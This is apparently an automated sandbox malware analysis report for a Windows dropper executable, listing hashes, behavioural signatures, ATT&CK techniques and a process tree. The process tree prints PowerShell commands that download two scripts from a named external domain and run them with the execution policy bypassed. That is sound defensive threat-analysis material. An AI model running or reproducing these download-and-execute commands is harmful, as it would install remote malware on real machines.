ff9b39d07fd6e4a7f98d109664d91de9e318671da6412da85396541722d92799

General

Target

34c2047d0b69ba023b700c21431accc0N.exe
Size

258KB
MD5

34c2047d0b69ba023b700c21431accc0
SHA1

e34c28611707c81565cb73d8a1a46dfc3ab2495a
SHA256

ff9b39d07fd6e4a7f98d109664d91de9e318671da6412da85396541722d92799
SHA512

a1566d65beb8135edfcb5c4a09631bc17dff56db672621990a10d0eff37a0290c7e1e9705f1918a7e719cbea4b1cecc29bb8254da946108e9bd5432070cc8ca7
SSDEEP

6144:VbJhs7QW69hd1MMdxPe9N9uA0hu9TBrjJ0Xxne0AqGLj:VbjDhu9TV6xeJqG3

Score

10^/10

execution link pdf

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://thelustfactory.com/vns/1.ps1

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://thelustfactory.com/vns/2.ps1

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	1140	powershell.exe
6	1140	powershell.exe
7	1140	powershell.exe
9	2784	powershell.exe
10	2784	powershell.exe
11	2784	powershell.exe

HTTP links in PDF interactive object 1 IoCs

Detects HTTP links in interactive objects within PDF files.

pdf link

resource	yara_rule
behavioral1/files/0x00060000000191fe-58.dat	pdf_with_link_action

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1140	powershell.exe
2784	powershell.exe
2748	powershell.exe
2880	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2164	timeout.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1244	AcroRd32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1140	powershell.exe
2784	powershell.exe
2748	powershell.exe
2880	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1244	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1244	AcroRd32.exe
1244	AcroRd32.exe
1244	AcroRd32.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2976 wrote to memory of 1996	2976	34c2047d0b69ba023b700c21431accc0N.exe	30
PID 2976 wrote to memory of 1996	2976	34c2047d0b69ba023b700c21431accc0N.exe	30
PID 2976 wrote to memory of 1996	2976	34c2047d0b69ba023b700c21431accc0N.exe	30
PID 1996 wrote to memory of 1140	1996	cmd.exe	32
PID 1996 wrote to memory of 1140	1996	cmd.exe	32
PID 1996 wrote to memory of 1140	1996	cmd.exe	32
PID 1996 wrote to memory of 2784	1996	cmd.exe	33
PID 1996 wrote to memory of 2784	1996	cmd.exe	33
PID 1996 wrote to memory of 2784	1996	cmd.exe	33
PID 1996 wrote to memory of 2748	1996	cmd.exe	34
PID 1996 wrote to memory of 2748	1996	cmd.exe	34
PID 1996 wrote to memory of 2748	1996	cmd.exe	34
PID 1996 wrote to memory of 2880	1996	cmd.exe	35
PID 1996 wrote to memory of 2880	1996	cmd.exe	35
PID 1996 wrote to memory of 2880	1996	cmd.exe	35
PID 1996 wrote to memory of 2164	1996	cmd.exe	37
PID 1996 wrote to memory of 2164	1996	cmd.exe	37
PID 1996 wrote to memory of 2164	1996	cmd.exe	37
PID 1996 wrote to memory of 1244	1996	cmd.exe	38
PID 1996 wrote to memory of 1244	1996	cmd.exe	38
PID 1996 wrote to memory of 1244	1996	cmd.exe	38
PID 1996 wrote to memory of 1244	1996	cmd.exe	38

C:\Users\Admin\AppData\Local\Temp\34c2047d0b69ba023b700c21431accc0N.exe
"C:\Users\Admin\AppData\Local\Temp\34c2047d0b69ba023b700c21431accc0N.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A46A.tmp\A46B.tmp\A46C.bat C:\Users\Admin\AppData\Local\Temp\34c2047d0b69ba023b700c21431accc0N.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thelustfactory.com/vns/1.ps1', 'C:\Users\Admin\AppData\Roaming\1.ps1')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thelustfactory.com/vns/2.ps1', 'C:\Users\Admin\AppData\Roaming\2.ps1')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\1.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\2.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2880
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2164
- - C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\pdf.pdf"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    PID:1244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\A46A.tmp\A46B.tmp\A46C.bat

Filesize
712B

MD5
0e9ce5162ba7661c863a835f9d34d907

SHA1
0b351312ab57a02857753cab2287da680955f40d

SHA256
b67f37e765a5be87d9591efdb0501f0c97aa342ad1e4c34a711828c4a505c81e

SHA512
8d7c0a3cc95628cbec8a215f365c3ed86746e7b350c811ace5ea4419031adbdbe75dc7d1350d9c71db51f5cbb972db4e33b1d05e9a3e2a109c559eb065811ec0

Download Submit
C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

Filesize
3KB

MD5
85216e19796ee5c840fe08b6940d0c5d

SHA1
381fa86e02c59d5725fe61c793fc6189495d8f6e

SHA256
4f30475debedc168542f852c290f46be421bb465b6c999987a1347d153811d1d

SHA512
e0bc5624ce2b7d6dcf7e1aa2e101e28859be00c6e3a22a22334b7baf68d4d769090d199aaf3c6562cfd40e33c89c097438152d362ef270f08e883594d97e4396

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c03add7e0a11028392cb6917850c6b47

SHA1
a081bf8d517e9ac3194e63356bef1732b9505cc6

SHA256
8db67bce5674fb6ae6760d4f75a74eb60e07f61661c7aacc5ed8c953588f7c7f

SHA512
db2d5de016b8a7655cdca65844d1ddd906342336b1864d3abc76b5fd14693f87da098c44911318c03b455b357be17e8ce74422f25fb49686beae6ba57504b8ed

Download Submit
C:\Users\Admin\AppData\Roaming\pdf.pdf

Filesize
139KB

MD5
5afaf79789a776d81ec91ccbdc9fdaba

SHA1
6703901978dcb3dbf2d9915e1d3e066cfe712b0a

SHA256
38c9792d725c45dd431699e6a3b0f0f8e17c63c9ac7331387ee30dcc6e42a511

SHA512
09253eb87d097bdaa39f98cbbea3e6d83ee4641bca76c32c7eb1add17e9cb3117adb412d2e04ab251cca1fb19afa8b631d1e774b5dc8ae727f753fe2ffb5f288

Download Submit
memory/1140-10-0x0000000000670000-0x0000000000678000-memory.dmp

Filesize
32KB

Download
memory/1140-12-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/1140-13-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/1140-14-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/1140-15-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/1140-11-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/1140-9-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/1140-8-0x000007FEF5E0E000-0x000007FEF5E0F000-memory.dmp

Filesize
4KB

Download
memory/2784-21-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2784-22-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads